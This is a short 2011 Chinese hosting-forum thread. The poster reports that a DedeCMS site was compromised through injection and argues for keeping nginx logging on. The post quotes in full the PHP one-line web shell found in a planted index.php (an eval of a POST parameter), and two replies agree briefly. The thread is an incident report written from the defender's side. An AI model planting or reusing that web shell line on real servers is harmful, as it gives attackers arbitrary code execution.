全球主机交流论坛

标题: nginx日志功能不能关 [打印本页]

作者: Router 时间: 2011-8-6 09:25
标题: nginx日志功能不能关
我一直习惯关闭nginx的日志功能，现在发现日志功能还是必要的
昨天一个dedecms站被注入攻击了，多了一个栏目，名称是“一”
添加文章的时候看到怎么突然多了这么一个奇怪的栏目呀
可惜后台的栏目管理中还看不到这个栏目哦
只能打开mysql数据库中查看到

该栏目静态文件夹下面有一个index.php的文件，我打开一看，妈呀，部分内容如下：
<a href='/html/abc/__php_eval___POST_1_____/'><?php eval($_POST[1]);?></a>

吓得我赶紧关掉php的eval函数，重新打开nginx的日志功能，查看这个家伙今天有什么动作，我好找出是dedecms哪个文件有漏洞造成的

作者: cquyf 时间: 2011-8-6 09:40
是的啊

作者: foxconndmd 时间: 2011-8-6 09:48
网络很危险。。。

欢迎光临全球主机交流论坛 (https://443502.xyz/)